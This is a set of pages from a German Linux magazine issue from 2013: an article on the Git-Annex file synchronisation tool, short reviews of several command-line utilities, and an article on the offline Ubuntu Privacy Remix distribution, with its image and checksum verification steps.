Die Storagesoftware Git-Annex verteilt Dateien über Geräte, Server und Clouddienste. Dabei kann sie verschlüsseln,<br />
hält alles synchron und weiß stets, welche Daten wo liegen. Mathias Huber<br />
luciano de polo, 123RF<br />
Wer in eine abgeschiedene Blockhütte<br />
zieht, darf keinen Breitband-Internetanschluss<br />
erwarten. Als der amerikanische<br />
Debian-Entwickler Joey Hess 2010 in eine<br />
solche Behausung zog, musste er sich<br />
also etwas einfallen lassen, um seine Arbeit<br />
mit der Wohnform zu versöhnen.<br />
Den teuren Dialup-Anschluss warf er aus<br />
Kostengründen nur einmal die Woche an<br />
– aber er hatte doch eine Menge Server<br />
mit einem Stapel an Festplatten zu synchronisieren.<br />
Erfolgreiches Crowdfunding<br />
Joey begann für seine Zwecke ein Synchronisationstool<br />
zu schreiben, das als<br />
Unterbau die freie Versionskontrollsoftware<br />
Git verwendet. Was als Mittel für<br />
den Hausgebrauch begann, ist nun als<br />
Git-Annex [1] unter GPL allgemein verfügbar.<br />
Mit einer Crowdfunding-Kampagne<br />
konnte der Entwickler<br />
das GUI Git-Annex-<br />
Assistant programmieren,<br />
das die Software für<br />
Endanwender bedienbar<br />
macht.<br />
Joey Hess beschreibt die<br />
beiden Zielgruppen der<br />
Software auf der Git-<br />
Annex-Homepage: Bob,<br />
den Archivar, und Alice,<br />
die Weltenbummlerin.<br />
Der Archivar kann mit<br />
dem Tool seine unzähligen<br />
Dateien in einem<br />
einzigen Verzeichnisbaum<br />
verwalten, obwohl<br />
sie auf mehrere Server<br />
und sogar ausgesteckte<br />
Wechselfestplatten verteilt<br />
sind. Für alle Fälle<br />
kann Git-Annex zur Sicherheit<br />
auch mehrere Kopien von jeder<br />
Datei anlegen.<br />
Alice dagegen ist stets mit Netbook und<br />
USB-Festplatte unterwegs, hat einen <strong>Web</strong>server<br />
sowie gemieteten Cloudspeicher.<br />
Git-Annex hilft ihr dabei, unterwegs an<br />
die richtigen Dateien zu kommen. Dazu<br />
reicht eine WLAN-Verbindung im Café,<br />
die Dateien beim Cloudanbieter legt sie<br />
automatisch verschlüsselt ab.<br />
Git plus Dateispeicher<br />
In beiden Szenarien profitieren die Anwender<br />
davon, dass Git Repositories<br />
dezentral ablegen und abgleichen kann.<br />
Das Versionskontrollsystem ist allerdings<br />
zum Speichern vieler kleiner Quelltextdateien<br />
gedacht, bei großen Videofiles<br />
beispielsweise gibt es Performance- und<br />
Platzprobleme. Joeys Kniff: Git-Annex<br />
checkt nur die Metadaten zusammen mit<br />
einem symbolischen Link in Git ein, die<br />
Dateien bringt ein selbst geschriebenes<br />
Speicher-Backend im Verzeichnis ».git/<br />
annex/« unter.<br />
Git-Annex liefert Kommandozeilentools<br />
mit, die für technische Anwender rasch<br />
zu erlernen sind, vor allem wenn sie Git<br />
kennen. Die folgenden Befehle machen<br />
das Verzeichnis »~/annex« zu einem Git-<br />
Annex-Repository namens »Mein PC«:<br />
cd ~/annex<br />
git init<br />
git annex init "Mein PC"<br />
Bevor der Anwender nun Dateien im Verzeichnis<br />
ablegen kann, versetzt er es mit<br />
»git annex direct« in den so genannten direkten<br />
Modus. Nur in diesem darf er auf<br />
die Dateien zugreifen [3]. Standardmäßig<br />
befinden sich Repositories im Modus »indirect«.<br />
Dann liegen alle Daten unterhalb<br />
des versteckten ».git/«.<br />
Wer seinem Dateispeicher ein weiteres<br />
Repository hinzufügen will, etwa einen<br />
USB-Stick, führt die Kommandos in<br />
Listing 1 aus. Sie legen auf dem Stick<br />
Installation<br />
Da Git-Annex von einem Debian-Mitarbeiter<br />
stammt, gibt es stets ein aktuelles Paket im<br />
Unstable-Zweig (Sid). Für die stabile Debian-<br />
Version oder andere Distributionen besteht<br />
die einfachste Installationsmethode darin,<br />
die vorkompilierten Binärarchive zu verwenden.<br />
Der Entwickler bietet sie stets aktualisiert<br />
unter [2] zum Download an. Nach dem<br />
Entpacken muss man noch das entstandene<br />
Verzeichnis, etwa »~/bin/git‐annex.linux/«,<br />
seinem »PATH« hinzufügen.<br />
Das Installieren der in Haskell geschriebenen<br />
Software mit dem Paket-Tool Cabal bleibt geübten<br />
Programmierern dieser Sprache vorbehalten:<br />
Beim Test der Redaktion gab es nicht<br />
erfüllte Abhängigkeiten.
Git-Annex 11/2013<br />
Software<br />
www.linux-magazin.de<br />
59<br />
Abbildung 1: Der Assistant merkt automatisch, wenn es lokal neue Dateien gibt,<br />
und startet die Synchronisation mit den anderen Speicherorten.<br />
Abbildung 2: Ein Server mit SSH-Daemon lässt sich rasch in ein entferntes<br />
Repository mit Verschlüsselung verwandeln.<br />
das Repository an und verknüpfen die<br />
beiden Repositories: Jedes sieht das jeweils<br />
andere als Remote Repository, mit<br />
dem es sich abgleicht.<br />
Wie man nun Dateien hinzufügt und<br />
sie unter die Verwaltung von Git-Annex<br />
stellt, zeigt Listing 2. Der Befehl »git<br />
annex sync« veranlasst schließlich das<br />
Synchronisieren der Daten.<br />
Viel Zubehör<br />
Zu dieser grundlegenden Bedienung,<br />
die auf der Git-Annex-Homepage Schritt<br />
für Schritt beschrieben ist [4], gibt es<br />
zahlreiche Varianten und einiges Zubehör:<br />
Als Repositories unterstützt das<br />
Tool neben lokalen Verzeichnissen und<br />
Wechselmedien auch entfernte Server,<br />
sofern sie SSH-Zugriff bieten, Owncloud,<br />
die Onlinedienste Google Drive, Amazon<br />
S3, Box.com und Rsync.net. Für richtige<br />
Archivare stehen auch der Offlinespeicher<br />
Amazon Glacier und das öffentliche<br />
Archive.org zur Verfügung.<br />
Das Verschlüsseln erfolgt mit Gnu PG<br />
und verläuft standardmäßig mit einem<br />
automatisch lokal generierten Key. Auf<br />
Wunsch kann der Benutzer sie aber auch<br />
nach Gnu-PG-Sitte mit einem bestimmten<br />
öffentlichen Schlüssel vornehmen.<br />
Um die zunächst sehr technisch anmutende<br />
Software für jedermann zugänglich<br />
zu machen, schrieb Joey Hess den<br />
Git-Annex-Assistant. Dieser verwendet<br />
einen lokalen <strong>Web</strong>server, um dem Anwender<br />
eine zeitgemäße <strong>Web</strong>oberfläche<br />
im Browser zu bieten. Dabei braucht er<br />
auf keine Annehmlichkeit zu verzichten:<br />
Über die Inotify-Schnittstelle des<br />
<strong>Linux</strong>-Kernels merkt der Assistant zum<br />
Beispiel, wenn sich Dateien geändert haben,<br />
und stößt die Synchronisation an<br />
(Abbildung 1). Schon beim Anlegen des<br />
ersten Repository unterstützt das GUI<br />
den User und versetzt es automatisch in<br />
den »direct«-Modus. Auch das Einrichten<br />
von Remote Repositories (Abbildung 2)<br />
macht ein <strong>Web</strong>formular leicht.<br />
Die umfangreiche Dokumentation auf<br />
der Projekt-Homepage erklärt zahlreiche<br />
Konfigurationsoptionen und gibt Empfehlungen<br />
für einzelne Einsatzszenarien.<br />
Beispielsweise kann man den einzelnen<br />
Repositories bestimmte Rollen zuweisen<br />
[5]: Ein »client« enthält die Dateien, auf<br />
die der Benutzer bei seiner Arbeit zugreift,<br />
»transfer« eignet sich für Server<br />
oder Wechselmedien, die ausschließlich<br />
zum Datenaustausch dienen, »backup«<br />
dagegen bewahrt alles auf.<br />
Trotzdem besteht Joey Hess darauf, dass<br />
Git-Annex keine Backup-Software im<br />
eigentlichen Sinne sei – sie besitze die<br />
Backup-Features eher nebenbei. Mit geeigneten<br />
Optionen kann man sogar dafür<br />
sorgen, dass Git-Annex ausschließlich<br />
MP3-Dateien unter 100 MByte auf den<br />
Player schaufelt. In einem Screencast [6]<br />
zeigt der Programmautor einige der Einstellungen<br />
im Assistant.<br />
Ausblick<br />
Joey hat mittlerweile eine zweite Crowdfunding-Kampagne<br />
[7] gestartet, die<br />
ihm bereits vor dem Ende der Aktion<br />
die Finanzierung für ein weiteres Jahr<br />
Entwicklungsarbeit beschert hat. Ab September<br />
2013 möchte er unter anderem<br />
den begonnenen Windows-Port verbessern,<br />
Verschlüsselung für entfernte Git-<br />
Repositories umsetzen und zumindest für<br />
bestimmte Situationen Disaster Recovery<br />
im Assistant implementieren [8]. Daneben<br />
dürfen auch die Sponsoren der Kampagne<br />
ihre Wünsche äußern. n<br />
Infos<br />
[1] Git-Annex:<br />
[http:// git‐annex. branchable. com]<br />
[2] Installation:<br />
[http:// git‐annex. branchable. com/ install/]<br />
[3] Direct Mode: [http:// git‐annex. branchable.<br />
com/ direct_mode/]<br />
[4] Walkthrough: [http:// git‐annex. branchable.<br />
com/ walkthrough/]<br />
[5] Preferred Content: [http:// git‐annex.<br />
branchable. com/ preferred_content/]<br />
[6] Archival Walkthrough:<br />
[http:// git‐annex. branchable. com/<br />
assistant/ archival_walkthrough/]<br />
[7] Zweite Crowdfunding-Kampagne:<br />
[https:// campaign. joeyh. name]<br />
[8] Roadmap: [http:// git‐annex. branchable.<br />
com/ design/ assistant/]<br />
Listing 1: Remote hinzufügen<br />
01 cd /media/stick<br />
02 git clone ~/annex<br />
03 cd annex<br />
04 git annex init "USB‐Stick"<br />
05 git remote add pc ~/annex<br />
06 cd ~/annex<br />
07 git remote add usb‐stick /media/stick/annex<br />
Listing 2: Dateien hinzufügen<br />
01 cd ~/annex<br />
02 cp /tmp/Datei1 .<br />
03 cp /tmp/Datei2 .<br />
04 git annex add .<br />
05 git commit ‐a ‐m 'neue Dateien'
Software<br />
www.linux-magazin.de Tooltipps 11/2013<br />
60<br />
Werkzeuge im Kurztest<br />
Tooltipps<br />
Macchanger 1.6.0<br />
MAC-Adresse manipulieren<br />
Quelle: [https:// github. com/ alobbs/<br />
macchanger]<br />
Lizenz: GPLv3<br />
Alternativen: Ifconfig, Ip<br />
Codesh 2.0.1<br />
Shellsessions mitschneiden<br />
Quelle: [http:// sourceforge. net/ projects/<br />
codesh]<br />
Lizenz: GPLv2<br />
Alternativen: Script<br />
Enc 0.2<br />
Enc-FS bequem verwalten<br />
Quelle: [https:// bitbucket. org/ erlcash/ enc]<br />
Lizenz: GPLv3<br />
Alternativen: Gnome Enc-FS-Manager<br />
Die 48 Bit lange MAC-Adresse vergibt<br />
der Hardwarehersteller; sie ist weltweit<br />
eindeutig. Das Tool Macchanger erlaubt<br />
es Anwendern, die Hardware-Adresse bis<br />
zum nächsten Bootvorgang zu verändern<br />
und beispielsweise eine MAC eines anderen<br />
Herstellers zuzuweisen.<br />
Mit »‐s Interface« aufgerufen gibt das Tool<br />
die MAC-Adresse der Schnittstelle aus.<br />
Dabei unterscheidet es zwischen der momentan<br />
gesetzten (»Current MAC«) und<br />
der in der Hardware verankerten Adresse<br />
(»Permanent MAC«), im Normalfall sind<br />
beide identisch. Zum Verändern bietet<br />
Macchanger mehrere Optionen. So sorgt<br />
»‐e« dafür, dass das Tool eine Adresse<br />
desselben Herstellers erhält, »‐a« setzt zusätzlich<br />
denselben Typ. Eine Liste aller<br />
bekannten Hersteller gibt der Parameter<br />
»‐l« aus.<br />
Der Schalter »‐r« wählt eine Adresse nach<br />
dem Zufallsprinzip aus. Wer hingegen<br />
eine ganz bestimmte MAC-Adresse benötigt,<br />
um etwa DHCP- oder Firewall-Einstellungen<br />
zu testen, der setzt diese mit<br />
»‐m«. Um die Änderungen auszuführen,<br />
brauchen Anwender Rootrechte und das<br />
Interface darf nicht aktiv sein.<br />
★★★★★ Macchanger ist ein nützliches<br />
Werkzeug zum Manipulieren von MAC-<br />
Adressen, was insbesondere dann hilfreich<br />
ist, wenn Benutzer MAC-sensitive<br />
Konfigurationen testen müssen. n<br />
Codesh (Collaborative Development Shell)<br />
ist eine intelligente Shell für Anwender,<br />
Sysadmins und Entwickler, sie speichert<br />
alle Benutzereingaben, Meldungen von<br />
Skripten und Programmen, Änderungen<br />
an Variablen sowie Aliasdefinitionen einer<br />
Session. Seine Aufzeichnungen legt<br />
das Python-Tool in einem lokalen CVS-,<br />
Subversion- oder Ascii-Repository ab. Die<br />
Ablage umfasst jeweils die Logs der Shellsitzung<br />
und Snapshots, welche die vollständige<br />
Verzeichnisstruktur ausgehend<br />
vom Arbeitsordner enthalten.<br />
Vor dem ersten Codesh-Einsatz erstellen<br />
Nutzer zuerst ein Repository und nehmen<br />
dazu eines der drei enthaltenen Shellskripte<br />
zur Hilfe. Ist der Verwahrungsort<br />
definiert, dann setzt »codesh_init.sh« die<br />
Pfade und Umgebungsvariablen entsprechend.<br />
Jetzt ist das Python-Programm<br />
»codesh.py« an der Reihe. Anwender<br />
passen beim Aufruf die Codesh-Konfiguration<br />
an oder übernehmen die Standardeinstellungen.<br />
Danach verhält sich Codesh wie viele andere<br />
Umgebungen. Über »?« geben Nutzer<br />
eine Liste aller Befehle aus, [Strg]+[D]<br />
beendet die Sitzung.<br />
★★★★★ Codesh protokolliert zuverlässig<br />
Shellsitzungen und bewahrt sie in<br />
Repositories auf. So erreichen Anwender<br />
jederzeit alte Sessions und reproduzieren<br />
bestimmte Arbeitsschritte.<br />
n<br />
Enc-FS baut auf dem Fuse-Framework<br />
auf und verschlüsselt keine ganzen Dateisysteme,<br />
sondern einzelne Verzeichnisse.<br />
Das Shellskript Enc unterstützt Anwender<br />
dabei auf der Kommandozeile; Voraussetzung<br />
sind Enc-FS und »encfsctl«<br />
ab Version 1.7.4.<br />
Die verschlüsselten Daten verwaltet Enc<br />
in so genannten Stashes. Deren Bezeichner<br />
müssen eindeutig sein; sie sind jeweils<br />
einem Verzeichnis zugeordnet. Mit<br />
dem Kommando »enc add«, gefolgt vom<br />
Stash-Namen und dem Ordner, erstellt<br />
das Tool einen neuen. Danach ruft der Benutzer<br />
»enc« zusammen mit dem Stash-<br />
Namen auf und gibt ein Passwort für das<br />
verschlüsselte Verzeichnis an. Weitere<br />
Optionen hängen existierende Stashes<br />
ins Dateisystem ein und wieder aus, ändern<br />
das Kennwort und komprimieren die<br />
verschlüsselten Daten. Ohne Parameter<br />
aufgerufen listet Enc alle Optionen und<br />
die konfigurierten Stashes auf.<br />
Enc bietet die Modi Standard, Paranoid<br />
und Experte an. Während letzterer alle<br />
Einstellungen detailliert abfragt (AES-<br />
Schlüssellänge, Blockgröße und so weiter),<br />
unterscheiden sich Standard und<br />
Paranoid vor allem durch die verwendete<br />
Schlüsselgröße (192 versus 256 Bit).<br />
★★★★★ Enc ist noch ein junges Projekt,<br />
bietet aber jetzt schon alle wichtigen<br />
Funktionen zum Verwalten von Enc-FS-<br />
Verzeichnissen.<br />
n
Software<br />
www.linux-magazin.de Tooltipps 11/2013<br />
62<br />
Arp Scan 1.9<br />
Nach MAC-Adressen scannen<br />
Quelle: [https:// github. com/ royhills/<br />
arp‐scan]<br />
Lizenz: GPLv3<br />
Alternativen: Arping, Arp Tools<br />
Palaver (August 2013)<br />
Spracherkennung und ‐steuerung<br />
Quelle: [https:// github. com/ JamezQ/<br />
Palaver]<br />
Lizenz: GPLv3<br />
Alternativen: Blather, Simon<br />
Cyberprobe 0.20<br />
Netzwerke verteilt überwachen<br />
Quelle: [http:// cyberprobe. sourceforge. net]<br />
Lizenz: GPLv3<br />
Alternativen: Dabba<br />
Netzwerkscanner stellen fest, welche<br />
Dienste oder Rechner sich in einem<br />
Netzwerk befinden und welche davon<br />
erreichbar sind. Die meisten dieser Tools<br />
arbeiten auf IP-Basis und damit auf OSI-<br />
Level 3. Arp Scan nutzt Level 2, sendet<br />
ARP-Anfragen zu den Zielen und erfordert<br />
daher Rootrechte. ARP ist auf IPv4<br />
beschränkt, IPv6 nutzt NDP.<br />
Anwender rufen das Tool zusammen mit<br />
der IP-Adresse des Zielrechners auf und<br />
erhalten als Antwort die MAC-Adresse,<br />
den Netzwerkkarten-Hersteller und eine<br />
Auskunft, wie viele Pakete unterwegs<br />
verloren gingen. Optional nimmt »‐‐file«<br />
eine Datei mit einer Liste von Zielen entgegen.<br />
In Kombination mit »‐‐random«<br />
arbeitet Arp Scan die Aufstellung nach<br />
dem Zufallsprinzip ab.<br />
Wer nur das lokale Netz scannen möchte,<br />
der verwendet »‐‐localnet«. Mit »‐‐retry«<br />
legt man fest, wie oft das Tool einen<br />
Rechner prüft. Die Parameter »‐‐timeout«<br />
und »‐‐bandwith« bestimmen, wann ein<br />
Scanversuch als erfolglos gilt oder wie<br />
viel Bandbreite Arp Scan nutzt.<br />
Zusätzlich enthalten die Quellen das<br />
Werkzeug »arp‐fingerprint«, das Anwender<br />
ebenfalls zusammen mit einer<br />
IP-Adresse aufrufen. Es prüft mit einer<br />
Reihe von ARP-Paketen das Verhalten des<br />
Zielrechners und versucht diesen anhand<br />
eines Fingerprints zu identifizieren. Da<br />
einige Betriebssysteme einen identischen<br />
Fingerprint haben, ist das Ergebnis allerdings<br />
nicht ganz genau.<br />
★★★★★ Wer mit den ARP-Einstellungen<br />
experimentieren und sein Netzwerk austesten<br />
möchte, der sollte Arp Scan eine<br />
Chance geben. Manpage und Wiki liefern<br />
zahlreiche Anregungen.<br />
n<br />
Die Sprachsteuerung mit dem schönen<br />
Namen Palaver lauscht am Mikrofoneingang<br />
und sendet das aufgenommene<br />
Audiomaterial an Googles Speech-API,<br />
das für die Spracherkennung zuständig<br />
ist. Das Python-Tool setzt daher eine Internetverbindung<br />
und das Vertrauen in<br />
den Suchmaschinenbetreiber voraus. Um<br />
Palaver zu starten, übersetzt der Anwender<br />
zunächst mit »./setup« eine native<br />
C-Bibliothek. Danach legt er in den Tastatur-Einstellungen<br />
einen Shortcut fest,<br />
der das Skript »hotkey« aufruft.<br />
Den zurückgelieferten Text interpretiert<br />
es als Befehl. So öffnet beispielsweise<br />
»goto google« die Google-Homepage im<br />
Browser. Beginnt der Befehl mit »type«,<br />
fügt Palaver die nachfolgend gesprochenen<br />
Wörter als Text in das gerade geöffnete<br />
Programm ein. Da diese jedoch<br />
immer erst nach der Analyse auf dem<br />
Bildschirm erscheinen, taugt das Tool nur<br />
zur Eingabe von kurzen Texten. Im Unterverzeichnis<br />
»Recognition/bin« liegen<br />
für alle bekannten Sprachkommandos<br />
passende Shellskripte, die den Befehl<br />
umsetzen.<br />
Derzeit erkennt das Tool nur englische<br />
Wörter und Kommandos. Um eine optimale<br />
Zusammenarbeit zu erreichen,<br />
muss das Mikrofon die Sprache unverzerrt<br />
wiedergeben. Anwender sollten darüber<br />
hinaus deutlich und möglichst ohne<br />
Dialekt sprechen. Mit Plugins können<br />
Programmierer Palaver um zusätzliche<br />
Funktionen erweitern. Zukünftig sollen<br />
auch Benutzer eigene Befehle hinzufügen<br />
dürfen.<br />
★★★★★ Palaver merkt man sein junges<br />
Entwicklungsstadium an. Wer Google<br />
vertraut, der kann mit dem Tool aber<br />
schon jetzt kurze Texte einsprechen und<br />
schnell Befehle übermitteln. n<br />
Ursprünglich als Analysetool für Netzwerk-Applikationen<br />
geplant, eignet sich<br />
Cyberprobe inzwischen ebenfalls dazu,<br />
Netzwerkstrukturen zu überwachen. Anwender<br />
setzen das Programm verteilt auf<br />
belie bigen Systemen ein. Die erfassten<br />
Daten leitet es an eine zentrale Stelle<br />
weiter.<br />
Die Konfiguration erfolgt im XML-Format;<br />
eine Einrichtungsdatei im Quellarchiv<br />
kann als eigene Vorlage dienen. Im<br />
»interface«-Block definiert der Anwender,<br />
welche Schnittstellen das Tool überwacht.<br />
Im Bereich »target« stehen die<br />
IP-Adressen von Hosts, deren Datenverkehr<br />
Cyberprobe mitschneiden soll; die<br />
Angabe voll qualifizierter Domainnamen<br />
(FQDN) ist hier nicht möglich.<br />
Zur Weiterbearbeitung reicht das Tool<br />
die gesammelten Daten an ein externes<br />
Programm wie Tcpdump weiter. Das darf<br />
auch auf einem entfernten System passieren.<br />
Dazu legt der Nutzer im »endpoint«-<br />
Block ein Zielsystem fest und gibt dazu<br />
die Adresse, den Port und das Übertragungsprotokoll<br />
an.<br />
Wer möchte, der erweitert die Konfiguration<br />
um einen »control«-Abschnitt,<br />
der administrativen Telnet-Zugriff auf<br />
Cyberprobe und Anpassungen während<br />
des Betriebs erlaubt. Wahlweise ist eine<br />
Interaktion mit dem IDS-Tool Snort möglich.<br />
Das Quick-Start-Tutorial auf der Projektseite<br />
enthält einige gut kommentierte<br />
Konfigurationsbeispiele.<br />
★★★★★ Cyberprobe eignet sich gut<br />
dazu, die Netzwerkstruktur im Auge<br />
zu behalten. Neuere Versionen enthalten<br />
eine LUA-Schnittstelle. Auf dem<br />
Testsystem (Ubuntu 13.04) verweigerte<br />
diese jedoch den Dienst. (U. Vollbracht,<br />
T. Schürmann/hej) n
Software<br />
www.linux-magazin.de Ubuntu Privacy Remix 11/2013<br />
64<br />
Ubuntu für Sicherheitsbewusste<br />
Erlösende Einsamkeit<br />
Um den Rechner vor Spionen und Kriminellen zu schützen, bricht Ubuntu Privacy Remix alle Brücken ins Internet<br />
ab und verwandelt den Computer in eine Insel der Sicherheit. Wer zurück in die Zivilisation will, dem<br />
dienen ein USB-Stick und etwas Geduld als Floß. Kristian Kißling<br />
strahlung von Monitoren. Auch das passt<br />
zu Bruce Schneiers Feststellung [1]: „Was<br />
ich beim Lesen der Snowden-Dokumente<br />
lernte ist: Wenn die NSA auf eure Rechner<br />
will, kommt sie auch drauf. Punkt.“<br />
Feature Count<br />
© Iakov Kalinin, 123RF.com<br />
Das Ausmaß der weltweiten Überwachung<br />
schockt selbst erfahrenere Paranoiker.<br />
Doch was tun, um besonders sensible<br />
Daten zu schützen? Den Aufwand für die<br />
Geheimdienste so teuer wie möglich machen,<br />
empfiehlt Security-Experte Bruce<br />
Schneier [1]. Der Tipp hilft natürlich auch<br />
gegen Angreifer mit kriminellen Interessen,<br />
die ebenso eine Menge Geschick an<br />
den Tag legen können, um an die Daten<br />
fremder Rechner zu gelangen.<br />
Gegen beide Gruppen stellt sich Ubuntu<br />
Privacy Remix (UPR, [2]), dessen Feature-Beschreibungen<br />
noch vor einigen<br />
Monaten bei breiten Teilen der Computernutzer<br />
für viel Heiterkeit gesorgt<br />
hätten: kein Zugang zum Internet, keine<br />
Installationsmöglichkeit und auch kein<br />
Zugriff auf die Festplatte!<br />
Schaut man sich das seit 2008 existierende<br />
Projekt heute an, kommt einem<br />
vieles gar nicht mehr so absurd vor.<br />
Denn was hilft Festplattenverschlüsselung,<br />
wenn die Spyware auf diversen<br />
Routen, über Downloads, Zero-Day-Exploits<br />
oder Router-Backdoors auf dem<br />
Rechner landet? Ohne Schreibzugriff auf<br />
die Festplatte lässt sich Malware schon<br />
mal bedeutend schwerer installieren, der<br />
fehlende Internetzugang tut ein Übriges.<br />
Um dennoch Dateien zu speichern, bietet<br />
Ubuntu Privacy Remix 12.04, das sich<br />
aktuell noch im Betastadium befindet,<br />
eine USB-Stick-Lösung auf Basis von<br />
True crypt [3] an.<br />
Die Macher der Distribution behaupten<br />
nicht, dass ihr System alle Security-<br />
Probleme löst: Zu den Risikoszenarien<br />
zählen sie manipulierte Hardware, auf<br />
der von UPR unbemerkt ein Hypervisor<br />
oder Hardware-Keylogger läuft. Die Installation<br />
würde immerhin physischen<br />
Zugriff auf den Rechner erfordern. Hat<br />
der Angreifer den Speicherstick, könnte<br />
er auch schwache Passwörter von Truecrypt-Containern<br />
ausnutzen.<br />
Vor allem aber hilft UPR nicht gegen Angriffe,<br />
die mit IT eher wenig zu tun haben:<br />
versteckte Kameras, das Abhören von<br />
Funktastaturen und Auslesen der Aus-<br />
Ohne Internetzugang und Festplattenzugriff<br />
werden einfache Dinge kompliziert:<br />
UPR wird standardmäßig auf eine DVD<br />
gebrannt und im Live-Betrieb genutzt<br />
und lässt sich daher nicht ohne Weiteres<br />
erweitern, etwa um neue Software. Wer<br />
mit dem Software-Angebot von Ubuntu<br />
Privacy Remix nicht zufrieden ist, muss<br />
sich seine Version selbst basteln. Das Projekt<br />
bietet Hilfestellung, indem es eine<br />
entsprechende Vorlage auf der <strong>Web</strong>seite<br />
anbietet [4]. Das Mastern einer eigenen<br />
UPR-Version erfordert aber einen nicht<br />
geringen zeitlichen Aufwand.<br />
Doch das Basissystem bringt schon eine<br />
Menge nützlicher Tools mit. Die aktuelle<br />
Beta stützt sich auf Ubuntu 12.04.2<br />
UPR auf USB-Stick<br />
Dem Anfertigen eines bootbaren USB-Sticks<br />
stellten sich im Test kleine Hindernisse in den<br />
Weg. Ubuntus Startmedien-Ersteller versagte<br />
gegen Ende mit einer Fehlermeldung, was<br />
sich wohl auf einen Bug in der Software zurückführen<br />
lässt. Unetbootin erzeugte zwar<br />
ein bootfähiges System, jedoch mit eigenem<br />
Bootmenü. Hier fanden die Tester keine Möglichkeit,<br />
Keyboard und Benutzeroberfläche<br />
auf Deutsch zu lokalisieren, was die Arbeit<br />
mit dem Betriebssystem deutlich erschwert<br />
hätte. Erst der simple Zweizeiler<br />
dd if=upr‐12.04r1beta1.iso of=/dev/sdX U<br />
bs=512K<br />
sync<br />
führte zum Ziel, der Stick ließ sich booten.
Abbildung 1: Mit Hilfe eines Skripts lassen sich die Checksummen der Dateien von UPR überprüfen.<br />
LTS mit Gnome-Classic-Desktop und<br />
Kernel 3.5. Abweichend vom Sortiment<br />
des regulären Ubuntu 12.04 nimmt UPR<br />
12.04rc1 Libre Office 4.0 ebenso an Bord<br />
wie Scribus 1.4.2. Die fertige Version soll<br />
dann auf Ubuntu 12.04.3 basieren und<br />
den Kernel in Version 3.8, Gimp 2.8 sowie<br />
Libre Office 4.1 mitbringen.<br />
Sammeln sich viele Daten im erweiterten<br />
Truecrypt-Container, soll zudem ein<br />
neues Suchwerkzeug das bislang eingesetzte<br />
Beagle ablösen, um dessen Inhalte<br />
zu durchforsten. Weitere Passagiere sind<br />
die Sammlungsverwaltung Tellico, der<br />
Mind-Mapper Vym, die Projektverwaltung<br />
Planner, der Videoplayer Totem, die<br />
Brennsoftware Brasero, Virtualbox und<br />
noch einige nützliche Tools mehr.<br />
Um gegen Versuche vorzugehen, den Arbeitsspeicher<br />
auszulesen, will das Projekt<br />
die Memory-Erasure-Funktion aus<br />
dem Tails-Projekt [5] übernehmen. Die<br />
löscht beim Herunterfahren mit Hilfe von<br />
»sdmem« den größtmöglichen Teil der<br />
Daten im Arbeitsspeicher und verhindert<br />
so Cold-Boot-Angriffe, in deren Verlauf<br />
der Arbeitsspeicher tiefgekühlt und nachträglich<br />
ausgelesen wird.<br />
Bootstrap<br />
Zunächst gilt es, über eine HTTPS-Verbindung<br />
eine nicht kompromittierte Version<br />
des Image [6] sowie eine zugehörige<br />
Signaturdatei herunterzuladen. Das<br />
Image ist mit dem PGP-Schlüssel von<br />
Mark Preetorius, dem Hauptentwickler<br />
des Projekts, signiert. Seine Unversehrtheit<br />
lässt sich überprüfen mit:<br />
gpg ‐‐verify upr‐12.04r1beta1.iso.sig U<br />
upr‐12.04r1beta1.iso<br />
Listing 1: »md5.sh«<br />
01 #!/bin/bash<br />
02 <br />
03 # Pfad zur DVD/USB‐Stick<br />
04 datapath=/media/user/UPR_12.04r1<br />
05 # Pfad zur Datei mit den MD5‐Summen<br />
06 md5datapath=/media/user/UPR_12.04r1/md5sum.txt<br />
07 <br />
08 data=$(grep "./*" ${md5datapath} | cut ‐d " "<br />
‐f 3)<br />
09 <br />
Meist genügt ein Brennprogramm wie<br />
Brasero oder K3b, um das Image auf eine<br />
DVD zu brennen. Wer einen USB-Stick<br />
verwenden möchte, büßt einen der Vorteile<br />
ein: Ein Stick ist beschreibbar und<br />
lässt sich so manipulieren. Einige Sticks<br />
bieten zumindest die Möglichkeit, über<br />
einen Hardwareschalter einen Schreibschutz<br />
zu aktivieren, was der Ersteller<br />
nach dem Aufspielen des Image (siehe<br />
Kasten „UPR auf USB-Stick“) tun sollte.<br />
Vom Einsatz von SD-Karten raten die Entwickler<br />
ab, da der Schreibschutz nicht<br />
zuverlässig greife.<br />
Wer sichergehen will, dass die Dateien<br />
auf dem USB-Stick nicht manipuliert<br />
wurden, kann die im ISO selbst befindlichen<br />
MD5- und SHA1-Summen überprüfen.<br />
Eine Liste dieser Prüfsummen<br />
befindet sich im Wurzelverzeichnis der<br />
gebrannten DVD beziehungsweise des<br />
USB-Sticks. Das einfach gestrickte Skript<br />
aus Listing 1 extrahiert aus der Checksummendatei<br />
im Wurzelverzeichnis<br />
(»${md5datapath}«) zunächst die Pfade<br />
zu den einzelnen Dateien.<br />
Die For-Schleife bildet für alle Dateien<br />
in den Pfaden von »${data}« die MD5-<br />
Checksumme und schreibt die Ergebnisse<br />
in die neue Datei »md5sum_new.txt«.<br />
Sed entfernt den »${datapath}« aus allen<br />
Pfadangaben der neu erzeugten Datei.<br />
Letztere sollte nun der Datei »/media/<br />
work/UPR_12.04r1/md5sum.txt« aufs<br />
Haar gleichen – es sei denn, die Checksummen<br />
stimmen nicht überein. Um das<br />
zu prüfen, läuft am Ende des Skripts ein<br />
Diff über beide Dateien und gibt im Erfolgsfall<br />
die Meldung aus Abbildung 1<br />
aus. Mit ein paar Anpassungen lässt sich<br />
das gleiche Spielchen mit der »sha1sum.<br />
txt«-Datei wiederholen.<br />
Das alles hilft wenig, wenn das ganze<br />
Image durch eine manipulierte Variante<br />
ersetzt wurde. Daher sind auch die Dateien<br />
»md5sum.txt« und »sha1sum.txt«,<br />
10 for i in $data; do<br />
11 md5sum ${datapath}/$i >> ./md5sum_new.txt<br />
12 done<br />
13 <br />
14 sed ‐i 's/\/media\/user\/UPR_12\.04r1\///g'<br />
./md5sum_new.txt<br />
15<br />
16 diff ‐s md5sum_new.txt ${md5datapath}<br />
17 rm ./md5sum_new.txt<br />
Ubuntu Privacy Remix 11/2013<br />
Software<br />
www.linux-magazin.de<br />
65
Software<br />
www.linux-magazin.de Ubuntu Privacy Remix 11/2013<br />
66<br />
die die Checksummen auflisten, signiert<br />
und lassen sich aus dem Wurzelverzeichnis<br />
von UPR heraus über den Public Key<br />
des Hauptentwicklers verifizieren:<br />
gpg ‐‐verify sha1sum.txt.sig sha1sum.txt<br />
gpg ‐‐verify md5sum.txt.sig md5sum.txt<br />
